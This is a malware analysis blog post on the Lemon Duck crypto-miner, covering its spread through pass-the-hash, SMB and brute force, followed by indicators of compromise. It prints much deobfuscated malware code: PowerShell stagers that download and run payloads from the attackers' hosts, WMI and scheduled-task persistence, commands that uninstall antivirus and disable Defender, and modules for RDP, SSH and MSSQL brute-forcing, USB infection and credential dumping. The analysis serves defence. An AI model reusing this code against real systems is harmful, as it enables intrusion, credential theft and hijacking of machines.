This blog post was authored by Fareed.
Summary
Lemon Duck is a crypto-mining malware that targets infected computer resources to mine Monero cryptocurrency. This malware has a lot of capabilities and runs its payload mostly in memory which makes its presence stealthy in infected machines. The fileless infection of the malware is mainly using PowerShell modules. Phishing emails with a malicious document, SMB Remote Code Execution Vulnerability (CVE-2017-0144), and brute-force attacks were used to conduct internal network spreading while a malicious document was used to infect external victims. They also leverage some open source tools like XMRig, PingCastle, PowerSploit to achieve their goals.
Initial access
- Phishing email with Malicious document as an attachment
- SMB exploit
- RDP brute-force
- USB infection
- SSH brute-force
- Pass the hash
- MS-SQL brute-force
- Redis remote command
- Yarn remote command
Our Splunk detection team first detect a lot of suspicious communication were made to a domain name t[.]bb3u9[.]com as shown in below:
http://t.bb3u9.com/report.jsp?&redacted&redacted&redacted&7%20Professional%20_6.1.7600&1&redacted$redacted&H_R&Intel(R)%20HD%20Graphics%20Family&8&15&1&8c4fba&4a6ad0&c95f97&&&&20353.107&1&0.8
Tracking and hunting down the domain and few indicators of initial access in Splunk, we found that the malware was spread through Pass the hash method.
Which execution made the above request?
function a($u){
$d=(Ne`w-Obj`ect Net.WebC`lient).DownloadData($u);
$c=$d.count;
if($c -gt 173){
$b=$d[173..$c];
$p=New-Object Security.Cryptography.RSAParameters;
$p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10=');
$p.Exponent=0x01,0x00,0x01;
$r=New-Object Security.Cryptography.RSACryptoServiceProvider;
$r.ImportParameters($p);
if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){
I`ex(-join[char[]]$b)
}}}
$url='http://'+'t.bb3'+'u9.com';
a($url+'/a.jsp?rep_20210521?'+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join'*'))
First stager
$tmps='function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String(''xpVT7bCpITDUjAvmzli55WPVFPjQBos7o9/ZbbWzyeaKIn9NLJwvY6ad3rMGoXzT6mz+51VupKm5TQvk79oVK4QQDZErhr0szpUdW79j2WPhbmpZrwMdgmFHrqG6Np+InWy/V1acp09/W9x54mpQ1EHIos1+JhSrYPaq8WtsGW0='');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){I`ex(-join[char[]]$b)}}}$url=''http://''+''U1''+''U2'';a($url+''/a.jsp'+$v+'?''+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join''*''))'
<--snippet-->
if($sa){
schtasks /create /ru system /sc MINUTE /mo 60 /tn "$tnf\$tn" /F /tr "powershell -w hidden -c PS_CMD"
} else {
schtasks /create /sc MINUTE /mo 60 /tn "$tnf\$tn" /F /tr "powershell -w hidden -c PS_CMD"
}
<--snippet-->
try{
if($action.Arguments.Contains("PS_CMD")){
$folder.RegisterTask($task.Name, $task.Xml.replace("PS_CMD",$tmps.replace('U1',$u.substring(0,5)).replace('U2',$u.substring(5))), 4, $null, $null, 0, $null)|out-null
}
Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name="blackball1";EventNameSpace="root\cimv2";QueryLanguage="WQL";Query="SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'";} -ErrorAction Stop foreach($u in $us){ $theName=getRan $wmicmd=$tmps.replace('U1',$u.substring(0,5)).replace('U2',$u.substring(5)).replace('a.jsp','aa.jsp') Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=(Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name="f"+$theName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query="SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'";} -ErrorAction Stop);Consumer=(Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name="c"+$theName;ExecutablePath="c:\windows\system32\cmd.exe";CommandLineTemplate="/c powershell -w hidden -c $wmicmd"})}
cmd.exe /c start /b wmic.exe product where "name like '%Eset%'" call uninstall /nointeractive
cmd.exe /c start /b wmic.exe product where "name like '%%Kaspersky%%'" call uninstall /nointeractive
cmd.exe /c start /b wmic.exe product where "name like '%avast%'" call uninstall /nointeractive
cmd.exe /c start /b wmic.exe product where "name like '%avp%'" call uninstall /nointeractive
cmd.exe /c start /b wmic.exe product where "name like '%Security%'" call uninstall /nointeractive
cmd.exe /c start /b wmic.exe product where "name like '%AntiVirus%'" call uninstall /nointeractive
cmd.exe /c start /b wmic.exe product where "name like '%Norton Security%'" call uninstall /nointeractive
cmd.exe /c "C:\Progra~1\Malwarebytes\Anti-Malware\unins000.exe" /verysilent /suppressmsgboxes /norestart
cmd.exe /c rem https://technet.microsoft.com/en-us/itpro/powershell/windows/defender/set-mppreference
cmd.exe /c rem To also disable Windows Defender Security Center include this
cmd.exe /c rem cmd.exe /c reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
cmd.exe /c rem 1 - Disable Real-time protection
cmd.exe /c reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
cmd.exe /c netsh.exe firewall add portopening tcp 65529 SDNSd
netsh.exe interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53
netsh advfirewall firewall add rule name="deny445" dir=in protocol=tcp localport=445 action=block
netsh advfirewall firewall add rule name="deny135" dir=in protocol=tcp localport=135 action=block
Deobfuscating a.jsp
I`EX $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$('edbd07601c499625262f6dca7b7f4af54ad7e074a10880601324d8904010ecc188cde692ec1d69472329ab2a81ca6556655d661640cced9dbcf7de7befbdf7de7befbdf7ba3b9d4e27f7dfff3f5c6664016cf6ce4adac99e2180aac81f3f7e7c <--snippet--> 6f5334f6bbfdfebfe4ce271fa5bfdb56dafc64fa71f5ac21564f3fbef3d1cf8cd3adad0bfae85b8ba7f5b73ebe337e71bc38fdde3d20b7f7fdedef7c59bcf8f8e33bbf71f2ff00'-split'(..)'|?{$_}|%{[convert]::ToUInt32($_,16)}))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();
$down_url = "http://d.u78wjdu.com"
if(!$url){$url="http://t.bb3u9.com"}
$core_url = $url.split("/")[0..2]-join"/"
$permit = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")
$comp_name = $env:COMPUTERNAME
$guid = (get-wmiobject Win32_ComputerSystemProduct).UUID
$mac = (Get-WmiObject Win32_NetworkAdapterConfiguration | where {$_.ipenabled -EQ $true}).Macaddress | select-object -first 1
$osb = (Get-WmiObject -class Win32_OperatingSystem)
$os = $osb.Caption.replace("Microsoft Windows ","")+"_"+$osb.Version
$user = $env:USERNAME
$domain = (Get-WmiObject win32_computersystem).Domain
$uptime = [timespan]::FromMilliseconds([environment]::TickCount)|foreach{$_.totalseconds}
$card = (Get-WmiObject Win32_VideoController).name
$cpu_per = "$((Get-WmiObject -Class Win32_Processor).LoadPercentage)"
gwmi Win32_PhysicalMemory | %{$msum = 0} { $msum += $_.Capacity };$mem=$msum/1Gb
function stp($gra){
write-host $gra
Start-Process -FilePath cmd.exe -ArgumentList "/c $gra"
}
function gcf($code,$md,$fn){
('echo '+$code+';$ifmd5='''+$md+''';$ifp=$env:tmp+''\'+$fn+''';$down_url='''+$down_url+''';function gmd5($con){[System.Security.Cryptography.MD5]::Create().ComputeHash($con)|foreach{$s+=$_.ToString(''x2'')};return $s}if(test-path $ifp){$con_=[System.IO.File]::ReadAllBytes($ifp);$md5_=gmd5 $con_;if($md5_-eq$ifmd5){$noup=1}}if(!$noup){$con=(Ne`w-Obj`ect Net.WebC`lient).downloaddata($down_url+''/'+$fn+'?'+$params+''');$t=gmd5 $con;if($t-eq$ifmd5){[System.IO.File]::WriteAllBytes($ifp,$con)}else{$noup=1}}if($noup){$con=$con_;$ifmd5=$md5_}').replace('|','^^^|').replace('&','^^^&')
}
function gpa($fnam,$name){
('for($i=0;$i -lt $con.count-1;$i+=1){if($con[$i] -eq 0x0a){break}};i`ex(-join[char[]]$con[0..$i]);$bin=(New-Object IO.BinaryReader(New-Object System.IO.Compression.GzipStream (New-Object System.IO.MemoryStream(,$con[($i+1)..($con.count)])), ([IO.Compression.CompressionMode]::Decompress))).ReadBytes(10000000);$bin_=$bin.Clone();$mep=$env:tmp+'''+"\$fnam.ori"+''';[System.IO.File]::WriteAllBytes($mep,$bin_+((1..127)|Get-Random -Count 100));test1 -PEBytes $bin').replace('|','^^^|').replace('&','^^^&')+"|$name - &cmd /c copy /y %tmp%\$fnam.ori %tmp%\$fnam.exe & %tmp%\$fnam.exe"
}
function gpb($name){
'I`EX(-join[char[]]$con)|'+$name+' -'
}
function gcode($fl) {
'try{$local'+$fl+'=$flase;New-Object Threading.Mutex($true,''Global\eLocal'+$fl+''',[ref]$local'+$fl+')}catch{}'
}
$code1=gcode "If"
I`Ex $code1
if($localIf){
stp ((gcf $code1 $ifmd5 $ifbin)+(gpb $rename))
}
if($is64){
$code2=gcode "TMn"
I`Ex $code2
if($localTMn){
stp ((gcf $code2 $mmd5 $mbin)+(gpa $mbin $rename))
}}
if(($isn -or $isa) -and $is64){
$code3=gcode "TMng"
I`Ex $code3
if($localTMng){
stp ((gcf $code3 $mgmd5 $mgbin)+(gpa $mgbin $rename))
}}
$code4=gcode "Kr"
I`Ex $code4
if($localKr){
stp ((gcf $code4 $krmd5 $krbin)+(gpb $rename))
}
function SIEX {
Param(
[string]$url
)
try{
$webclient = Ne`w-Obj`ect Net.WebC`lient
$finalurl = "$url"+"?"+"$params"
try{
$webclient.Headers.add("User-Agent","Lemon-Duck-"+$Lemon_Duck.replace('\','-'))
} catch{}
$res_bytes = $webclient.DownloadData($finalurl)
if($res_bytes.count -gt 173){
$sign_bytes = $res_bytes[0..171];
$raw_bytes = $res_bytes[173..$res_bytes.count];
$rsaParams = New-Object System.Security.Cryptography.RSAParameters
$rsaParams.Modulus = 0xda,0x65,0xa8,0xd7,0xbb,0x97,0xbc,0x6d,0x41,0x5e,0x99,0x9d,0x82,0xff,0x2f,0xff,0x73,0x53,0x9a,0x73,0x6e,0x6c,0x7b,0x55,0xeb,0x67,0xd6,0xae,0x4e,0x23,0x3c,0x52,0x3d,0xc0,0xcd,0xcd,0x37,0x6b,0xf3,0x4f,0x3b,0x62,0x70,0x86,0x07,0x96,0x6e,0xca,0xde,0xbd,0xa6,0x4f,0xf6,0x11,0xd1,0x60,0xdc,0x88,0xbf,0x35,0xf2,0x92,0xee,0x6c,0xb8,0x2e,0x9b,0x7d,0x2b,0xd1,0x19,0x30,0x73,0xc6,0x52,0x01,0xcd,0xe7,0xc7,0x34,0x78,0x8a,0xa7,0x9f,0xe2,0x12,0xcd,0x79,0x40,0xa7,0x91,0x6a,0xae,0x95,0x8e,0x42,0xd0,0xcf,0x39,0x6e,0x30,0xcb,0x0a,0x98,0xdb,0x97,0x3f,0xf6,0x2e,0x95,0x10,0x72,0xfd,0x63,0xd5,0xf7,0x88,0x63,0xa4,0x7b,0xae,0x97,0xea,0x38,0xb7,0x47,0x6b,0x5d
$rsaParams.Exponent = 0x01,0x00,0x01
$rsa = New-Object -TypeName System.Security.Cryptography.RSACryptoServiceProvider;
$rsa.ImportParameters($rsaParams)
$base64 = -join([char[]]$sign_bytes)
$byteArray = [convert]::FromBase64String($base64)
$sha1 = New-Object System.Security.Cryptography.SHA1CryptoServiceProvider
if($rsa.verifyData($raw_bytes,$sha1,$byteArray)) {
IEX (-join[char[]]$raw_bytes)
}}
} catch{}}
Start-Sleep -Seconds 3
SIEX "$core_url/report.jsp"
Analyzing if.bin
namespace PingCastle.Scanners
{
public class m17sc
{
static public bool Scan(string computer)
{
TcpClient client = new TcpClient();
client.Connect(computer, 445);
try
{
NetworkStream stream = client.GetStream();
byte[] negotiatemessage = GetNegotiateMessage();
stream.Write(negotiatemessage, 0, negotiatemessage.Length);
stream.Flush();
byte[] response = ReadSmbResponse(stream);
if (!(response[8] == 0x72 && response[9] == 00)){
throw new InvalidOperationException("invalid negotiate response");}
byte[] sessionSetup = GetR(response);
<-- snippet -->
namespace RDP
{
public class BRUTE
{
private int flag1=-1;
private bool check_login;
private Process process;
public void exit(){
if(!process.HasExited){
process.Kill();};
process.Close();}
public int check(string exePath, string ip, string user, string pass, bool checklogin){
try{
check_login = checklogin;
process = new System.Diagnostics.Process();
process.StartInfo.FileName = exePath;
if(checklogin){
process.StartInfo.Arguments = "/u:"+user+" /p:"+pass+" /cert-ignore /sec:nla /log-level:trace /size:700x700 /v:"+ip;
} else {
process.StartInfo.Arguments = "/u:"+user+" /p:"+pass+" /cert-ignore +auth-only /sec:nla /log-level:trace /v:"+ip;}
process.StartInfo.UseShellExecute = false;
process.StartInfo.CreateNoWindow = true;
process.StartInfo.RedirectStandardOutput = true;
process.Start();
process.BeginOutputReadLine();
process.OutputDataReceived += new DataReceivedEventHandler(processOutputDataReceived);
System.Threading.Timer timer = new System.Threading.Timer(autoQuite, null, 10000, 5000);
<-- snippet -->
public class USBLNK
{
public static List blacklist = new List();
public static string gb3;
public static string gb6;
public static string jsdata;
const string home = "UTFsync";
const string inf_data = "\\inf_data"
<-- snippet -- >
static bool IsSupported(DriveInfo drive) { return drive.IsReady && drive.AvailableFreeSpace > 1024 && (drive.DriveType == DriveType.Removable || drive.DriveType == DriveType.Network) && (drive.DriveFormat == "FAT32" || drive.DriveFormat == "NTFS");}
static bool CheckBlacklist(string name) { return name==home || name=="System Volume Information" || name=="$RECYCLE.BIN";}
static bool Infect(string drive)
{
if (blacklist.Contains(drive)) {return true;}
CreateLnk(drive, "blue3.bin", gb3);
CreateLnk(drive, "blue6.bin", gb6);
CreateJs(drive, "readme.js", jsdata);
try{
File.Create(drive + home + inf_data);
return true;};
#######################################powerdump written by David Kennedy#########################################
$antpassword = [Text.Encoding]::ASCII.GetBytes("NTPASSWORD0");
$almpassword = [Text.Encoding]::ASCII.GetBytes("LMPASSWORD0");
$empty_lm = [byte[]]@(0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee,0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee);
$empty_nt = [byte[]]@(0x31,0xd6,0xcf,0xe0,0xd1,0x6a,0xe9,0x31,0xb7,0x3c,0x59,0xd7,0xe0,0xc0,0x89,0xc0);
$odd_parity = @(
1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
<-- snippet -->
$mimipath = $env:tmp+'\mimi.dat'
$d_retry=3
while(!(Test-Path $mimipath) -or (Get-Item $mimipath).length -ne 3563487){
if($d_retry -eq 0){break}
write-host "try to get mimi..."
try{(new-object System.Net.WebClient).DownloadFile($down_url+"/mimi.dat?v=$VVERSION&r=$d_retry",$mimipath)}catch{}
$d_retry--
start-sleep 3
}
<-- snippet -->
write-host "start mssql port open scanning..."
$ms_portopen = localscan -port 1433 -addresses $ipaddresses[$i..($i+$tcount-1)]
$old_portopen = localscan -port 65529 -addresses $ms_portopen[1]
foreach($currip in $ms_portopen[1]) {
if (($old_portopen[1] -notcontains $currip) -and ($currip.length -gt 6)){
write-host "start mssql burping...$currip"
for($n=0; $n -lt $allpass.count; $n++){
$flag=$false
write-host("Try pass: "+$allpass[$n])
$flag,$banner = (mssqlrun -ip $currip -pass $allpass[$n] -cmd $mscmd_code -cmd1 $mscmd_code)[-2..-1]
if($flag) {
try{(New-Object Net.WebClient).DownloadString($down_url+'/report.json?v='+$VVERSION+'&type=ms&iip='+$internet_ip+'&ip='+$currip+'&pass='+$allpass[$n]+'&t='+$t+'&b='+$banner)}catch{}
break}
<-- snippet -->
write-host "start ssh port open scanning..."
$ssh_portopen = localscan -port 22 -addresses $ipaddresses[$i..($i+$tcount-1)]
$old_portopen = localscan -port 65529 -addresses $ssh_portopen[1]
foreach($currip in $ssh_portopen[1]) {
if (($old_portopen[1] -notcontains $currip) -and ($currip.length -gt 6)){
write-host "start ssh burping...$currip"
foreach($password in $allpass){
write-host "Try pass:$password"
$flag1 = -1
$flag1 = sshbrute $currip "root" $password $ssh_code
if($flag1 -eq 1){
write-host "SUCC!!"
try{(New-Object Net.WebClient).DownloadString($down_url+'/report.json?v='+$VVERSION+'&type=ssh&iip='+$internet_ip+'&ip='+$currip+'&pass='+$password+'&t='+$t)}catch{}
break
<-- snippet -->
m6.bin
Conclusion
Indicator of Compromise
Hashes
- if.bin 8c4fba3df81475d075c535deae2cd373
- kr.bin c95f97fccb0bd80fa524cf2bfb0390a8
- m6.exe 4094140d07826334c345f8dc392d8fe3
- mimi.dat a66953b8a3eeee7d5057ddf80b8be962
DNS request
- t.bb3u9.com
- t.pp6r1.com
- p.b69kq.com
- d.u78wjdu.com
IP connections
- 138.68.251.24
- 138.68.186.90
- 88.214.207.96
- 45.63.34.251
- 138.68.183.180
- 176.58.99.231
Extra (Deobfucation)
- (shauqi): https://nightfury99.github.io/Malware-Deobfuscate/
- (Iqbal): https://mhdiqb-malware-analysis.blogspot.com/2021/06/exploits-analysis-jsp-code-was-and-code.html
- (malik): https://almalikzakwan.github.io/Lemon-DuckAnalysis/
- ( Rosa): https://bobalattew.github.io/How-to-deobfuscate-malware-using-Powershell/
- (Taqi): https://github.com/tx-qi/mail.jsp-writeup
- (Izzat): https://github.com/Izzathajar/malware-diobfuscated/tree/gh-pages
- (Aina): https://hello-world9.github.io/fileless-attack-analysis/
- (Nadzirah): https://nadzirahmdisa.blogspot.com/2021/06/in-memory-attack-writeup.html